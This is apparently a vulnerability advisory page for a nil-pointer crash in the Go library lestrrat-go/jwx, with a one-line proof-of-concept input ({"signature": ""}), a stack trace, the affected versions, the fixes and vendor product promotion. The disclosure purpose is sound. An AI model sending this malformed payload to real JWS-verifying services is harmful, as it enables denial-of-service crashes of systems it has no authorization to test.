GHSA-pvcr-v8j8-j5q3
MEDIUMParsing JSON serialized payload without protected field can lead to segfault
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/lestrrat-go/jwx🐹github.com/lestrrat-go/jwx/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.
Details
This seems to also affect other functions that calls Parse internally, like jws.Verify.
My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.
Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.
PoC
Reproducer:
package poc
import (
"testing"
"github.com/lestrrat-go/jwx/v2/jws"
)
func TestPOC(t *testing.T) {
_, _ = jws.Parse([]byte(`{"signature": ""}`))
}
Result:
$ go test
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]
goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
/usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
/usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
/usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
/usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
/usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
/usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
/home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
/usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
/usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL poc 0.005s
Impact
The vulnerability can be used to crash / DOS a system doing JWS verification.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lestrrat-go/jwx | ≥ 1.0.8&&< 1.2.28 | 1.2.28 |
| 🐹Go | github.com/lestrrat-go/jwx/v2 | all versions | 2.0.19 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lestrrat-go/jwx. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lestrrat-go/jwx to 1.2.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pvcr-v8j8-j5q3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pvcr-v8j8-j5q3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pvcr-v8j8-j5q3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pvcr-v8j8-j5q3 in your dependencies?
O3 detects GHSA-pvcr-v8j8-j5q3 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.